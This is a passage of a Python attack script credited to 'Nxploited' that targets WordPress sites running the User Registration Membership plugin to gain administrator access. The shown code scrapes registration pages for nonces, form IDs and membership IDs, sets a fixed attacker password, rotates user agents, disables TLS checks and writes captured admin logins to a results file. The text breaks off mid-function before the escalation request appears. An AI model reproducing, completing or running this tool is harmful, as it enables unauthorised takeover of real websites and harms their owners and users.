#!/usr/bin/env python3 #Nxloited import os import sys import time import random from typing import Optional, Dict, List, Tuple, Any from urllib.parse import urlparse, quote, urljoin import re import json as _json import requests from concurrent.futures import ThreadPoolExecutor, as_completed from rich import box from rich.console import Console from rich.panel import Panel from rich.align import Align from rich.table import Table from rich.text import Text requests.packages.urllib3.disable_warnings() console = Console() ADMIN_RESULTS_FILE = "Nx_admin.txt" MEMBERSHIP_RESULTS_FILE = "membership_success_log.txt" DISCOVERY_LOG_FILE = "discovery_log.txt" REGISTRATION_LOG_FILE = "registration_log.txt" MEMBERSHIP_LOG_FILE = "membership_log.txt" ADMIN_CHECK_LOG_FILE = "admin_check_log.txt" UA_POOL = [ "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36", ] NX_FIXED_PASS_DEFAULT = "Nx_12999" # ───────────────────── basic helpers ───────────────────── def ua() -> str: return random.choice(UA_POOL) def norm(url: str) -> str: url = url.strip() if not url: return "" if not url.startswith(("http://", "https://")): url = "https://" + url p = urlparse(url) return f"{p.scheme}://{p.netloc}" def new_sess(timeout: int) -> requests.Session: s = requests.Session() s.verify = False s.timeout = timeout return s def log_status(target: str, label: str, color: str, note: str = "") -> None: t = Text(f"[{label}] ", style=color) + Text(target, style="white") if note: t += Text(f" | {note}", style="bright_black") console.print(t) def banner() -> None: os.system("cls" if os.name == "nt" else "clear") ascii_lines = [ " _______ ________ ___ ____ ___ _____ _____ __ ____ ___ ", " / ____/ | / / ____/ |__ \\ / __ \\__ \\ / ___/ < / // / / __ \\__ \\", " / / | | / / __/________/ // / / /_/ // __ \\______/ / // /_/ /_/ /_/ /", "/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/ /__ __/\\__, / __/ ", "\\____/ |___/_____/ /____/\\____/____/\\____/ /_/ /_/ /____/____/ ", " ", ] body = Align.center( Text("\n".join(ascii_lines), style="bold green") + Text("\nUser Registration Membership Full Chain (Admin Escalation, State‑Aware)", style="bold cyan") + Text("\nBy: Nxploited | GitHub: github.com/Nxploited | Telegram: @Kxploit", style="bold white"), vertical="middle", ) console.print(Panel(body, border_style="bright_black", box=box.SQUARE, padding=(1, 4))) # ───────────────────── file logging helpers ───────────────────── def safe_append(path: str, line: str) -> None: try: with open(path, "a", encoding="utf-8") as f: f.write(line + "\n") except Exception: pass def write_admin(base: str, username: str, password: str) -> None: line = f"{base}/wp-login.php user:{username} pass:{password}" safe_append(ADMIN_RESULTS_FILE, line) def write_membership_success(base: str, username: str, membership_id: str, raw: Dict) -> None: line = f"{base} membership:{membership_id} user:{username} json:{_json.dumps(raw, ensure_ascii=False)}" safe_append(MEMBERSHIP_RESULTS_FILE, line) def log_discovery(entry: Dict[str, Any]) -> None: safe_append(DISCOVERY_LOG_FILE, _json.dumps(entry, ensure_ascii=False)) def log_registration_request(entry: Dict[str, Any]) -> None: if "response_text" in entry: entry["response_text"] = str(entry["response_text"])[:4000] safe_append(REGISTRATION_LOG_FILE, _json.dumps(entry, ensure_ascii=False)) def log_membership_request(entry: Dict[str, Any]) -> None: if "response_text" in entry: entry["response_text"] = str(entry["response_text"])[:4000] safe_append(MEMBERSHIP_LOG_FILE, _json.dumps(entry, ensure_ascii=False)) def log_admin_check(entry: Dict[str, Any]) -> None: if "login_html_snippet" in entry: entry["login_html_snippet"] = entry["login_html_snippet"][:2000] safe_append(ADMIN_CHECK_LOG_FILE, _json.dumps(entry, ensure_ascii=False)) # ───────────────────── HTTP ───────────────────── def fetch_html(sess: requests.Session, url: str, timeout: int) -> Optional[str]: try: r = sess.get(url, timeout=timeout, verify=False, headers={"User-Agent": ua()}) if r.status_code == 200 and r.text: return r.text except Exception: return None return None # ───────────────────── discovery: pages + plans ───────────────────── def discover_candidate_pages(sess: requests.Session, base: str, timeout: int) -> Dict[str, str]: htmls: Dict[str, str] = {} root = base.rstrip("/") paths = [ "/membership-pricing/", "/registration/", "/registration-form/", "/membership-registration/", "/reg/", ] for slug in paths: url = root + slug if url in htmls: continue h = fetch_html(sess, url, timeout) if h: htmls[url] = h pricing_url = root + "/membership-pricing/" pricing_html = htmls.get(pricing_url) if pricing_html: pattern = re.compile( r'href=["\']([^"\']*membership[^"\']*id=[0-9]{1,10}[^"\']*)["\']', re.IGNORECASE, ) for href in pattern.findall(pricing_html): full = href if href.startswith("/"): p = urlparse(pricing_url) full = f"{p.scheme}://{p.netloc}{href}" elif href.startswith("#"): continue elif not href.startswith("http"): full = urljoin(pricing_url, href) if full not in htmls: h2 = fetch_html(sess, full, timeout) if h2: htmls[full] = h2 btn_pattern = re.compile( r']+href=["\']([^"\']+)["\'][^>]*>[^<]*sign\s*up[^<]*', re.IGNORECASE, ) for href in btn_pattern.findall(pricing_html): full = href if href.startswith("/"): p = urlparse(pricing_url) full = f"{p.scheme}://{p.netloc}{href}" elif href.startswith("#"): continue elif not href.startswith("http"): full = urljoin(pricing_url, href) if full not in htmls: h2 = fetch_html(sess, full, timeout) if h2: htmls[full] = h2 return htmls def extract_plans_from_pricing(pricing_html: str, pricing_url: str) -> List[Tuple[Optional[str], Optional[str]]]: plans: List[Tuple[Optional[str], Optional[str]]] = [] for href in re.findall( r'href=["\']([^"\']*membership[^"\']*id=[0-9]{1,10}[^"\']*)["\']', pricing_html, re.IGNORECASE, ): full = href if href.startswith("/"): p = urlparse(pricing_url) full = f"{p.scheme}://{p.netloc}{href}" elif not href.startswith("http"): full = urljoin(pricing_url, href) m = re.search(r'membership[^=]*id=([0-9]{1,10})', href, re.IGNORECASE) if not m: m = re.search(r'membership_id=([0-9]{1,10})', href, re.IGNORECASE) if not m: continue mid = m.group(1) if (mid, full) not in plans: plans.append((mid, full)) for tag in re.findall( r']*class=["\'][^"\']*ur_membership_input_class[^"\']*ur_membership_radio_input[^"\']*["\'][^>]*>', pricing_html, re.IGNORECASE, ): mv = re.search(r'value=["\']([0-9]{1,10})["\']', tag, re.IGNORECASE) if not mv: continue mid = mv.group(1) if (mid, None) not in plans: plans.append((mid, None)) if not plans: plans.append((None, None)) return plans # ───────────────────── extract from registration page ───────────────────── def extract_membership_id_and_field_name(reg_html: str, default_membership_id: Optional[str]) -> Tuple[Optional[str], Optional[str]]: membership_id = None membership_field_name = None m = re.search( r']*class=["\'][^"\']*ur_membership_input_class[^"\']*ur_membership_radio_input[^"\']*["\'][^>]*>', reg_html, re.IGNORECASE, ) if m: tag = m.group(0) mv = re.search(r'value=["\']([0-9]{1,10})["\']', tag, re.IGNORECASE) if mv: membership_id = mv.group(1) mn = re.search(r'data-name=["\']([^"\']+)["\']', tag, re.IGNORECASE) if mn: membership_field_name = mn.group(1) if not membership_id: m2 = re.search(r'membership[^=]*id=([0-9]{1,10})', reg_html, re.IGNORECASE) if m2: membership_id = m2.group(1) if not membership_id: membership_id = default_membership_id return membership_id, membership_field_name def extract_ur_frontend_form_nonce(reg_html: str) -> Optional[str]: m = re.search( r']+name=["\']ur_frontend_form_nonce["\'][^>]*value=["\']([^"\']+)["\']', reg_html, re.IGNORECASE, ) if m: return m.group(1) m2 = re.search( r'ur_frontend_form_nonce["\']\s*[:=]\s*["\']([^"\']+)["\']', reg_html, re.IGNORECASE, ) if m2: return m2.group(1) return None def extract_user_registration_ajax_params(reg_html: str) -> Dict[str, Dict[str, str]]: params: Dict[str, Dict[str, str]] = {"raw": {}, "keys": {}} m = re.search( r'(?:var|let|const)\s+user_registration_params\s*=\s*(\{.*?\})\s*;', reg_html, re.DOTALL | re.IGNORECASE, ) blob = m.group(1) if m else None if not blob: return params try: cleaned = blob.strip().rstrip(";") cleaned = cleaned.replace(r"\/", "/") cleaned = re.sub(r",(\s*[}\]])", r"\1", cleaned) data = _json.loads(cleaned) if isinstance(data, dict): params["raw"] = data flat: Dict[str, str] = {} for k, v in data.items(): if isinstance(v, (str, int, float, bool)): flat[str(k)] = str(v) params["keys"] = flat return params except Exception: pass flat2: Dict[str, str] = {} for key, val in re.findall(r'"([^"]+)"\s*:\s*"([^"]+)"', blob or "", re.DOTALL): flat2[key] = val params["keys"] = flat2 return params def pick_user_form_submit_security(params: Dict[str, Dict[str, str]]) -> Optional[str]: keys = params.get("keys") or {} if not keys: return None def looks_like_nonce(val: str) -> bool: return isinstance(val, str) and len(val) >= 8 and re.fullmatch(r"[0-9a-zA-Z]+", val) is not None for k, v in keys.items(): if k.lower() == "user_registration_form_data_save" and looks_like_nonce(v): return v for k, v in keys.items(): kl = k.lower() if "user_registration" in kl and "form" in kl and "save" in kl and looks_like_nonce(v): return v candidates: List[Tuple[str, str]] = [] for k, v in keys.items(): kl = k.lower() if "user" in kl and "registration" in kl and ("submit" in kl or "save" in kl): if looks_like_nonce(v) and not any(bad in kl for bad in ["upload", "remove", "profile", "picture", "update_state"]): candidates.append((k, v)) if candidates: candidates.sort(key=lambda x: x[0]) return candidates[0][1] sec_keys = [k for k in keys if k.lower().endswith("_security")] if len(sec_keys) == 1 and looks_like_nonce(keys[sec_keys[0]]): return keys[sec_keys[0]] nonce_keys = [k for k in keys if k.lower().endswith("_nonce")] if len(nonce_keys) == 1 and looks_like_nonce(keys[nonce_keys[0]]): return keys[nonce_keys[0]] if len(keys) <= 4: strong = [(k, v) for k, v in keys.items() if looks_like_nonce(v)] if len(strong) == 1: return strong[0][1] return None def pick_user_registration_ajax_url(params: Dict[str, Dict[str, str]], base: str) -> str: keys = params.get("keys") or {} ajax = keys.get("ajax_url") or keys.get("ajaxurl") if ajax: return ajax return base.rstrip("/") + "/wp-admin/admin-ajax.php" def extract_membership_nonce_and_ajax_url(reg_html: str, base: str) -> Tuple[Optional[str], str]: membership_nonce: Optional[str] = None membership_ajax_url: str = base.rstrip("/") + "/wp-admin/admin-ajax.php" patterns = [ r'(?:var|let|const|\s)ur_membership_frontend_localized_data\s*=\s*(\{.*?\})\s*;', r'ur_membership_frontend_localized_data\s*=\s*(\{.*?\})', ] blob = None for pat in patterns: rg = re.compile(pat, re.DOTALL | re.IGNORECASE) m = rg.search(reg_html) if m: blob = m.group(1) break if blob: try: cleaned = blob.strip().rstrip(";") cleaned = cleaned.replace(r"\/", "/") cleaned = re.sub(r",(\s*[}\]])", r"\1", cleaned) data = _json.loads(cleaned) if isinstance(data, dict): n = data.get("_nonce") or data.get("nonce") if isinstance(n, str) and len(n) >= 4: membership_nonce = n ajax_url = data.get("ajax_url") or data.get("url") if isinstance(ajax_url, str) and ajax_url.startswith("http"): membership_ajax_url = ajax_url except Exception: m2 = re.search(r'"_nonce"\s*:\s*"([0-9A-Za-z]{4,64})"', blob, re.IGNORECASE) if m2: membership_nonce = m2.group(1) return membership_nonce, membership_ajax_url def extract_form_id(reg_html: str) -> Optional[str]: patterns = [ r']+name=["\']ur-user-form-id["\'][^>]*value=["\']([0-9]{1,10})["\']', r']+name=["\']form_id["\'][^>]*value=["\']([0-9]{1,10})["\']', r'user-registration-form-([0-9]{1,10})', r'user_registration_form id=["\']([0-9]{1,10})["\']', ] for pat in patterns: m = re.search(pat, reg_html, re.IGNORECASE) if m: return m.group(1) return None # ───────────────────── form fields parser ───────────────────── def extract_ur_fields(reg_html: str) -> List[Dict[str, Any]]: fields: List[Dict[str, Any]] = [] scope_match = re.search( r"